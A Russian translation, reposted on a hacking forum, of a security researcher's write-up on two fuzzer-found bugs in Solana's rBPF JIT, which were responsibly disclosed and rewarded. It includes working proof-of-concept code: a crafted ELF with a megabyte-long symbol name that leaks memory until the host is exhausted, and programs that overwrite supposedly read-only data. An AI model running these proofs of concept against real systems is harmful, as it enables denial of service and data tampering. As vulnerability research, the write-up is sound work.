• XSS.stack #1 – первый литературный журнал от юзеров форума

Fuzzing Заработайте 200 000 долларов на фаззинге на выходных: часть 2

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
В предыдущей части я обсуждал разработку фаззеров. Здесь я расскажу об уязвимостях, которые я обнаружил, и о том, как сообщать о них Солане.

Ошибка 1: исчерпание ресурсов​

Первая ошибка, о которой я сообщил Солане, была исключительно сложной; это происходит только в очень специфических обстоятельствах, и тот факт, что фаззер вообще его обнаружил, является свидетельством невероятной сложности входных данных, которые фаззер может обнаружить путем повторных испытаний. Соответствующий сбой был обнаружен примерно через два часа после запуска фаззера.

Первоначальное расследование

Входные данные, вызвавшие сбой, дизассемблируются в следующую сборку:
Код:
entrypoint:
  r0 = r0 + 255
  if r0 <= 8355838 goto -2
  r9 = r3 >> 3
  call -1

По какой причине этот конкретный набор инструкций вызывает утечку памяти?
При выполнении эта программа выполняет следующие шаги, примерно:
  1. увеличьте r0 (который начинается с 0) на 255
  2. вернуться к предыдущей инструкции, если r0 меньше или равно 8355838
    • это, в тандеме с первым шагом, приведет к выполнению цикла 32767 раз (всего 65534 инструкции)
  3. установите r9 на r3 * 2 ^ 3, что будет равно нулю, потому что r3 начинается с нуля
  4. вызывает несуществующую функцию
    • несуществующая функция должна вызывать ошибку неизвестного символа
Что меня поразило в этом конкретном тестовом случае, так это то, насколько он был невероятно конкретным; изменение добавления 255 или 8355838 даже на небольшое количество привело к исчезновению утечки. Именно тогда я вспомнил следующую строку из моего фаззера :

let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };

remaining, здесь относится к количеству инструкций, оставшихся до того, как программа будет принудительно завершена. В результате программа утечки исчерпал этот счетчик точно как в call инструкции.

Неисправленная оптимизация

В строке 420 jit.rs есть много текста, которая описывает оптимизацию, которую Солана применила, чтобы уменьшить частоту обновления счетчика инструкций.

Короткая версия заключается в том, что они обновляют или проверяют счетчик инструкций только тогда, когда достигают конца блока или вызова, чтобы уменьшить количество раз, когда они обновляют и проверяют счетчик. Эта оптимизация совершенно разумна; нас не волнует, закончатся ли инструкции в середине блока, потому что последующие инструкции по-прежнему «безопасны», и если мы когда-либо нажмем выход, это все равно будет концом блока. Другими словами, эта оптимизация не должна влиять на конечное состояние программы.
Проблему можно увидеть в патче для уязвимости , где сопровождающий переместил строку 1279 в строку 1275. Чтобы понять, почему это важно, давайте еще раз пройдемся по нашему выполнению:
  1. увеличьте r0 (который начинается с 0) на 255
  2. вернуться к предыдущей инструкции, если r0 меньше или равно 8355838
    • это, в тандеме с первым шагом, приведет к выполнению цикла 32767 раз (всего 65534 инструкции)
    • обновления нашего счетчика здесь
  3. установите r9 на r3 * 2 ^ 3, что будет равно нулю, потому что r3 начинается с нуля
  4. вызывает несуществующую функцию
    • несуществующая функция должна вызвать ошибку неизвестного символа, но этого не происходит, потому что наш счетчик обновляется здесь и выдает ошибку превышения максимального количества инструкций.
Однако, исходя из исходного порядка инструкций, при вызове происходит следующее:
  1. вызвать вызов, который терпит неудачу, потому что символ не разрешен
  2. чтобы сообщить о неразрешенном символе, мы вызываем report_unresolved_symbol функция, которая возвращает имя вызванного символа (или «Неизвестно») в строке, выделенной в куче
  3. компьютер обновлен
  4. количество инструкций проверяется, что перезаписывает неразрешенную ошибку символа и прекращает выполнение
Поскольку неразрешенная ошибка символа просто перезаписывается, значение никогда не передается в код Rust, который вызвал JIT-программу. В результате ссылка на выделенную в куче строку теряется и никогда не удаляется. Таким образом: любой указатель на это выделение кучи теряется и никогда не будет освобожден, что приводит к утечке. При этом утечка составляет всего семь байтов за одно выполнение программы. Не вызывая большей утечки, что не особенно удобно.

" Вооружение "​

Давайте подробнее рассмотрим report_unresolved_symbol.

pub fn report_unresolved_symbol(&self, insn_offset: usize) -> Result<u64, EbpfError<E>> {
let file_offset = insn_offset
.saturating_mul(ebpf::INSN_SIZE)
.saturating_add(self.text_section_info.offset_range.start as usize);

let mut name = "Unknown";
if let Ok(elf) = Elf::parse(self.elf_bytes.as_slice()) {
for relocation in &elf.dynrels {
match BpfRelocationType::from_x86_relocation_type(relocation.r_type) {
Some(BpfRelocationType::R_Bpf_64_32) | Some(BpfRelocationType::R_Bpf_64_64) => {
if relocation.r_offset as usize == file_offset {
let sym = elf
.dynsyms
.get(relocation.r_sym)
.ok_or(ElfError::UnknownSymbol(relocation.r_sym))?;
name = elf
.dynstrtab
.get_at(sym.st_name)
.ok_or(ElfError::UnknownSymbol(sym.st_name))?;
}
}
_ => (),
}
}
}
Err(ElfError::UnresolvedSymbol(
name.to_string(),
file_offset
.checked_div(ebpf::INSN_SIZE)
.and_then(|offset| offset.checked_add(ebpf::ELF_INSN_DUMP_OFFSET))
.unwrap_or(ebpf::ELF_INSN_DUMP_OFFSET),
file_offset,
)
.into())
}

Обратите внимание, как name строка становится выделенной кучей. Значение имени определяется поиском перемещения в ELF, которым мы фактически можем управлять, если скомпилируем собственный вредоносный ELF. Несмотря на то, что фаззер тестирует только JIT-операции, один из предполагаемых способов загрузки программы BPF — это ELF , так что кажется, что это определенно входит в область применения.

Создание вредоносного ELF

Создать неразрешенный релокейшн в BPF на самом деле довольно просто. Нам просто нужно создать функцию с очень-очень длинным именем, которое на самом деле не определено, а только объявлено. Для этого я создал два файла для создания вредоносного ELF:

evil.h
evil.h слишком велик, чтобы публиковать его здесь, так как его имя функции имеет длину около мегабайта. Вместо этого он был создан с помощью следующей команды bash.

Код:
$ echo "#define EVIL do_evil_$(printf 'a%.0s' {1..1048576})

void EVIL();
" > evil.h

evil.c
Код:
#include "evil.h"

void entrypoint() {
  asm("    goto +0\n"
      "    r0 = 0\n");
  EVIL();
}

Наконец, мы также создадим программу на Rust для загрузки и выполнения этого ELF, просто чтобы убедиться, что они могут воспроизвести проблему.

elf-memleak.rs
Вы больше не сможете использовать этот конкретный пример, так как rBPF сильно изменил свой API с момента его создания. Однако вы можете проверить версию v0.22.21 , для которой был создан этот эксплойт.

Обратите внимание, в частности, на использование счетчика инструкций.

Код:
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;

use solana_rbpf::{elf::{Executable, register_bpf_function}, insn_builder::IntoBytes, vm::{Config, EbpfVm, TestInstructionMeter, SyscallRegistry}, user_error::UserError};
use solana_rbpf::insn_builder::{Arch, BpfCode, Cond, Instruction, MemSize, Source};

use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::verifier::check;

fn main() {
    let mut file = File::open("tests/elfs/evil.so").unwrap();
    let mut elf = Vec::new();
    file.read_to_end(&mut elf).unwrap();
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut syscall_registry = SyscallRegistry::default();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscall_registry).unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        for _ in 0.. {
            let mut jit_mem = [0; 65536];
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 2 };
            jit_vm.execute_program_jit(&mut jit_meter).ok();
        }
    }
}

С нашим вредоносным ELF, имя функции которого имеет длину в мебибайт, report_unresolved_symbolустановит это nameпеременной в длинное имя функции. В результате из выделенной строки будет происходить утечка целого мегабайта памяти за одно выполнение, а не жалких семи байт. При выполнении в этом цикле вся системная память будет исчерпана за считанные секунды.

Составление отчетов (самая скучная часть)​

Итак, теперь, когда мы создали эксплойт, мы, вероятно, должны сообщить об этом поставщику.
Быстрый Google помог и мы находим политику безопасности Solana . Пролистывая, там написано:

НЕ СОЗДАВАЙТЕ ПРОБЛЕМУ, чтобы сообщить о проблеме безопасности. Вместо этого отправьте электронное письмо по адресу security@solana.com и укажите свое имя пользователя на github, чтобы мы могли добавить вас в новый проект рекомендаций по безопасности для дальнейшего обсуждения.

Ладно, достаточно разумно. Похоже, у них тоже есть награды за ошибки!

DoS-атаки: 100 000 долларов США в заблокированных токенах SOL (заблокировано на 12 месяцев)

Вау. Я работал над rBPF из любопытства, но, похоже, здесь доступно довольно много наград. Я отправил отчет об ошибке по электронной почте 31 января, и всего через три часа Солана признала ошибку. Ниже представлен отчет, представленный Солане:

Отчет об ошибке 1, отправленный Солане.

В solana_rbpf (в частности, в src/jit.rs ) существует уязвимость исчерпания ресурсов, которая затрагивает программы eBPF, скомпилированные JIT (как программы ELF, так и программы insn_builder). Злоумышленник, способный загружать и выполнять программы eBPF, может исчерпать ресурсы памяти для программы, выполняющей JIT-компилированные программы solana_rbpf. Уязвимость возникает из-за того, что JIT-компилятор выдает ошибку неразрешенного символа при попытке вызвать неизвестный хэш после превышения предела счетчика команд. Rust call emitted to Executable::report_unresolved_symbol выделяет строку («Неизвестно» или символ перемещения, связанный с вызовом) с помощью .to_string() , который выполняет выделение кучи. Однако, поскольку вызов rust завершается вычитанием счетчика команд и проверкой , проверка вызывает досрочное завершение программы с ошибкой Err(ExceededMaxInstructions(_, _)). В результате ссылка на ошибку, которая содержит строку, теряется, и поэтому строка никогда не удаляется, что приводит к утечке памяти кучи.

Следующая программа eBPF демонстрирует уязвимость:
Код:
entrypoint:
    goto +0
    r0 = 0
    call -1

где непосредственный аргумент tail-вызова представляет собой неизвестный хэш (его можно скомпилировать напрямую, но не дизассемблировать), а счетчик инструкций установлен на 2 оставшихся инструкции.

Оптимизация, используемая в jit.rs только для обновления счетчика инструкций, срабатывает после инструкции ja, и впоследствии инструкция mov64 не обновляет счетчик инструкций, несмотря на то, что здесь она должна предотвратить дальнейшее выполнение. Затем инструкция call выполняет поиск несуществующего символа, что приводит к выполнению Executable::report_unresolved_symbol, которое выполняет распределение. Вызов завершается и снова обновляет счетчик инструкций, теперь вместо этого выдавая ошибку ExceededMaxInstructions и теряя ссылку на строку, выделенную в куче. Хотя утечка в этом примере составляет всего 7 байтов на выдаваемую ошибку (поскольку загруженная строка символов «Неизвестна»), можно создать ELF с записью перемещения произвольного размера, указывающей на смещение вызова, что приведет к гораздо более быстрому исчерпанию ресурсов памяти. Такой пример прилагается с исходным кодом. Я смог исчерпать всю память на своей машине за несколько секунд, просто многократно выполняя jit-выполнение этого двоичного файла. Можно создать более крупную запись о перемещении, но я думаю, что приведенный пример достаточно ясно показывает уязвимость. Прилагается файл Rust (elf-memleak.rs), который можно поместить в каталог examples/ файла solana_rbpf, чтобы проверить наличие evil.{c,h,so}. Настоятельно рекомендуется запустить его на короткий период времени и быстро отменить, так как он быстро исчерпывает ресурсы памяти для операционной системы. Кроме того, теоретически можно вызвать такое поведение в программах, не загруженных злоумышленником, отправив специально созданные полезные нагрузки, которые вызывают неправильное поведение этого счетчика. Однако это маловероятно, потому что такую полезную нагрузку также нужно будет отправить цели, которая имеет неразрешенный символ.

По этим причинам я предлагаю классифицировать эту ошибку как DoS-атаки (не RPC).

Солана классифицировала эту ошибку как отказ в обслуживании (не RPC) и присудила 100 тысяч долларов.

Ошибка 2: постоянное повреждение .rodata

Вторую ошибку, о которой я сообщил, было легко найти, но трудно диагностировать. Хотя ошибка возникала довольно часто, было неясно, что именно вызвало ошибку. Помимо этого, было ли это вообще пригодным для использования или полезным?

Первоначальное расследование

Входные данные, вызвавшие сбой, дизассемблируются в следующую сборку:
Код:
entrypoint:
    or32 r9, -1
    mov32 r1, -1
    stxh [r9+0x1], r0
    exit

Инициированный тип сбоя представлял собой разницу в состоянии выхода JIT и интерпретатора; JIT завершается с Ok(0), тогда как интерпретатор завершается:
Код:
Err(AccessViolation(31, Store, 4294967296, 2, "program"))

Похоже, наша JIT-реализация имеет некоторую форму записи за пределами границ. Давайте исследуем немного дальше.

Первое, на что следует обратить внимание, это адрес нарушения прав доступа: 4294967296. Другими словами, 0x100000000. Заглянув в документацию Solana , мы видим, что этот адрес соответствует коду программы.

Мы пишем JIT-код??

Ответ, дорогой читатель, к сожалению, нет. Какой бы захватывающей ни была перспектива выполнения произвольного кода, на самом деле это относится к программному коду BPF, а точнее, к данным, доступным только для чтения, присутствующим в предоставленном ELF. Несмотря на это, он пишет неизменяемую ссылку на Vec где программный код, который должен быть доступен только для чтения .

Так почему же это не так?

Проклятие x86

Давайте сделаем нашу полезную нагрузку более понятной и выполним ее напрямую, а затем поместим ее в gdb, чтобы точно увидеть, какой код генерирует JIT-компилятор. Я использовал следующую программу для проверки записи OOB:

oob-write.rs

oob-write.rs_txt

Этот код, вероятно, больше не работает из-за изменений в API rBPF, которые изменились в последних выпусках. Попробуйте это в examples/ в версии 0.2.22, где уязвимость все еще присутствует.

Этот код устанавливает и выполняет следующую сборку BPF:

Код:
entrypoint:
    lddw r9, 0x100000000
    stxh [r9+0x0], r0
    exit

Этот код просто записывает от 0 до 0x100000000.

Для следующей части: пожалуйста, ради бога, используйте GEF

Код:
$ cargo +stable build --example oob-write
$ gdb ./target/debug/examples/oob-write
gef➤  break src/vm.rs:1061 # after the JIT'd code is prepared
gef➤  run
gef➤  print self.executable.ro_section.buf.ptr.pointer
gef➤  awatch *$1 # break if we modify the readonly section
gef➤  record full # set up for reverse execution
gef➤  continue

После этого последнего продолжения мы эффективно выполняем до тех пор, пока не получим доступ для записи к нашему разделу только для чтения. Кроме того, мы можем отступить назад в программе, пока не найдем свое ошибочное поведение. Просмотреена память записывается в результате этой инструкции сохранения X86 (напоминаем, что это ветвь для stxh). Увидев это emit_address_translationвызов выше, мы можем определить, что эта функция, вероятно, обрабатывает преобразование адресов и проверяет только чтение. Дальнейший осмотр показывает, что emit_address_translation на самом деле вызывает вызовает… чего-то:

Код:
emit_call(jit, TARGET_PC_TRANSLATE_MEMORY_ADDRESS + len.trailing_zeros() as usize + 4 * (access_type as usize))?;

Итак, это какое-то глобальное смещение для этой JIT-программы для преобразования адреса памяти. Путем поиска TARGET_PC_TRANSLATE_MEMORY_ADDRESS в другом месте программы мы находим цикл, который инициализирует различные виды трансляции памяти .

Прокручивая это, мы находим нашу проверку доступа:
Код:
X86Instruction::cmp_immediate(OperandSize::S8, RAX, 0, Some(X86IndirectAccess::Offset(25))).emit(self)?; // region.is_writable == 0
Итак, команда x86 cmp для поиска использует адрес назначения [rax+0x19]. Пара rsiпозже найти такую инструкцию и мы находим:
Код:
cmp    DWORD PTR [rax+0x19], 0x0

Что, в частности, не использует 8-битный операнд в качестве cmp_immediate как вызов предлагает. Так что же здесь происходит?

Проблемы с размером операнда x86 cmp


Вот определение X86Instruction::cmp_immediate :

Код:
pub fn cmp_immediate(
    size: OperandSize,
destination: u8,
immediate: i64,
indirect: Option<X86IndirectAccess>,
) -> Self {
    Self {
        size,
opcode: 0x81,
        first_operand: RDI,
        second_operand: destination,
immediate_size: OperandSize::S32,
        immediate,
        indirect,
..Self::default()
    }
}

Это создает инструкцию x86 с кодом операции 0x81. При ближайшем рассмотрении и сопоставлении со ссылкой на код операции x86-64 можно обнаружить, что код операции 0x81 определен только для 16-, 32- и 64-битных регистровых операндов. Если вы хотите использовать 8-битный регистровый операнд, вам нужно использовать вариант кода операции 0x80 .

Именно этот патч применяется .

Небольшое примечание о тестировании кода с помощью разных компиляторов

Эта ошибка на самом деле была немного более странной, чем кажется на первый взгляд. Из-за различий в заполнении структур Rust между версиями, в то время, когда я сообщил об ошибке, разница в стабильной версии была ложной . В результате вполне вероятно, что никто не заметил бы ошибку до следующей версии релиза Rust.

Из моего отчета:

Вполне вероятно, что эта ошибка не была обнаружена ранее из-за непоследовательного поведения между различными версиями Rust. Во время тестирования было обнаружено, что стабильная версия не всегда имеет ненулевое заполнение полей, в отличие от stable debug, nightly debug, and nightly release версии.

Доказательство концепции​

Хорошо, теперь нужно создать PoC, чтобы люди, проверяющие ошибку, могли ее проверить. Как и в прошлый раз, мы создадим ELF вместе с несколькими различными демонстрациями эффектов ошибки. В частности, мы продемонстрируем, что значения только для чтения в BPF могут постоянно изменяться, поскольку наши записи влияют на исполняемый файл и, следовательно, на все будущие выполнения JIT-программы.

value_in_ro.c

Эта программа должна завершиться ошибкой, так как перезаписываемые данные должны быть доступны только для чтения. Он будет выполнен howdy.rs.

Код:
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;

extern void log(const char*, uint64_t);

static const char data[] = "howdy";

extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);

  return 0;
}

howdy.rs

Эта программа загружает скомпилированную версию value_in_ro.cи прикрепляет системный вызов журнала, чтобы мы могли видеть поведение внутри. Я подтвердил, что этот системный вызов не повлиял на поведение во время выполнения.

Код:
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{
    elf::Executable,
    insn_builder::{
        BpfCode,
        Instruction,
        IntoBytes,
        MemSize,
    },
    user_error::UserError,
    verifier::check,
    vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::{InstructionMeter, SyscallObject};

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut elf = Vec::new();
    File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf);
    let mut syscalls = SyscallRegistry::default();
    syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call);
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    for _ in 0..4 {
        let jit_res = {
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
            let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
        eprintln!("{} => {:?}", 1, jit_res);
    }
}

Эта программа при выполнении имеет следующий вывод:

howdy
evil!
evil!
evil!
evil!
evil!
evil!
evil!

Эти первые два файла демонстрируют возможность постоянной перезаписи данных только для чтения, присутствующих в двоичных файлах. Обратите внимание, что на самом деле мы выполняем JIT-код несколько раз, но наши изменения значения в data являются устойчивыми.

Подразумеваемое

Предположим, что в программе on-chain, основанной на BPF, имеется ошибочное смещение или управляемое пользователем смещение. Злоумышленник может изменить данные программы только для чтения, чтобы заменить определенные контексты. В лучшем случае это может привести к DoS программы. В худшем случае это может привести к подмене сумм средств, адресов кошельков и т.д.

Составление отчетов​

Собрав мои доказательства концепции, мои выводы и так далее, я отправил следующий отчет Солане 4 февраля:

Операнд памяти неправильного размера, созданный src/jit.rs:1490 , может привести к повреждению раздела .rodata из-за неправильной is_writable проверки Выдаваемый cmp — это cmp DWORD PTR [rax+0x19], 0x0. В результате, когда неинициализированные данные, присутствующие в заполнении поля MemoryRegion , отличны от нуля, сравнение завершится ошибкой и предполагается, что раздел доступен для записи. Данные, которые перезаписываются, сохраняются в течение всего времени существования экземпляра исполняемого файла, поскольку перезаписанные данные находятся в разделе Executable.ro_section и, таким образом, влияют на будущие выполнения программы без перекомпиляции.

Вполне вероятно, что эта ошибка не была обнаружена ранее из-за непоследовательного поведения между различными версиями Rust. Во время тестирования было обнаружено, что стабильная версия не всегда имеет ненулевое заполнение полей, в отличие от стабильной отладки, ночной отладки и ночной версии.

Первый сценарий атаки, в котором может быть использована эта уязвимость, заключается в повреждении предполагаемых данных только для чтения; см. value_in_ro.{c,so} (предназначенный для размещения в тестах/elfs/) в качестве примера такого поведения. Приведенный пример является надуманным, но в сценариях, где программы BPF неправильно очищают смещения во входных данных, удаленные злоумышленники могут создать полезную нагрузку, которая повреждает данные в разделе .rodata и, таким образом, заменяет секреты, рабочие данные и т. д. в худшем случае это может включать замену важных данных, таких как фиксированные адреса кошелька, на время существования экземпляра исполняемого файла, что может быть многократным выполнением. Чтобы проверить это поведение, обратитесь к howdy.rs (предназначен для размещения в examples/). Если вы обнаружите, что поведение с повреждением не проявляется, попробуйте использовать другой уровень оптимизации или компилятор.

Второй сценарий атаки заключается в повреждении исходного кода BPF, что отравляет будущий анализ и компиляцию. В худшем случае (что, вероятно, не является допустимым сценарием), если исполняемый файл ошибочно JIT-компилируется во второй раз после однократного выполнения JIT-компиляции, JIT-компиляция может выдать непроверенные инструкции BPF, поскольку верификатор, используемый в from_elf / from_text_bytes , не используется для компиляции. Анализ и трассировка также повреждены, что может быть использовано для сокрытия или искажения ранее выполненных инструкций. Пример последнего приведен на сайте analysis-corporation.rs (предназначен для размещения в examples/). Если вы обнаружите, что поведение с повреждением не проявляется, попробуйте использовать другой уровень оптимизации или компилятор.

Хотя эта уязвимость в значительной степени не классифицируется предоставленной политикой безопасности, из-за возможности повреждения предполагаемых данных только для чтения, я предлагаю отнести эту уязвимость к категории «Другие атаки» или «Нарушения безопасности».


value_in_ro.c

Код:
typedef unsigned long int uint64_t;
extern void log(const char*, uint64_t);
static const char data[] = "howdy";
extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);
  return 0;
}

analysis-corruption.rs

Код:
use std::collections::BTreeMap;

use solana_rbpf::elf::Executable;
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::insn_builder::BpfCode;
use solana_rbpf::insn_builder::Instruction;
use solana_rbpf::insn_builder::IntoBytes;
use solana_rbpf::insn_builder::MemSize;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
    };
let mut jit_mem = vec![0; 32];
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&mut bpf_functions, 0, "entrypoint", true).unwrap();
let mut code = BpfCode::default();
    code
.load(MemSize::DoubleWord).set_dst(0).set_imm(0).push()
.load(MemSize::Word).set_imm(1).push()
.store(MemSize::DoubleWord).set_dst(0).set_off(0).set_imm(0).push()
        .exit().push();
let prog = code.into_bytes();
assert!(check(prog, &config).is_ok());
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
let jit_tracer = jit_vm.get_tracer();
let analysis = Analysis::from_executable(&executable);
let stderr = std::io::stderr();
jit_tracer.write(&mut stderr.lock(), &analysis).unwrap();
        res
    };
eprintln!("{} => {:?}", 1, jit_res);
}

howdy.rs
Код:
use std::fs::File;
use std::io::Read;

use solana_rbpf::elf::Executable;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallObject;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
    };
let mut jit_mem = vec![0; 32];
let mut elf = Vec::new();
File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf).unwrap();
let mut syscalls = SyscallRegistry::default();
syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call).unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
for _ in 0..4 {
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
eprintln!("{} => {:?}", 1, jit_res);
    }
}

Ошибка была исправлена всего за 4 часа.
Солана классифицировала эту ошибку как отказ в обслуживании (не RPC) и присудила 100 тысяч долларов.

Хорошо, так что ты сделал с деньгами??

Было бы дурным тоном с моей стороны не объяснить невероятную гибкость, проявленную Соланой, с точки зрения того, как они распорядились моей выплатой. Я намеревался пожертвовать средства Техасскому клубу кибербезопасности A&M, в котором я приобрел много навыков, необходимых для проведения этого исследования и этих эксплойтов, и Солана была очень готова обойти их перечисленную политику и пожертвовать средства непосредственно в долларах США, а не заставляя меня распоряжаться токенами самостоятельно, что резко повлияло бы на сумму, которую я мог бы пожертвовать из-за налогов. Итак, несмотря на мои опасения по поводу их политики, я был очень доволен их готовностью удовлетворить мои пожелания с выплатой вознаграждения.

Перевод статьи - https://secret.club/2022/05/11/fuzzing-solana-2.html#initial-investigation
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх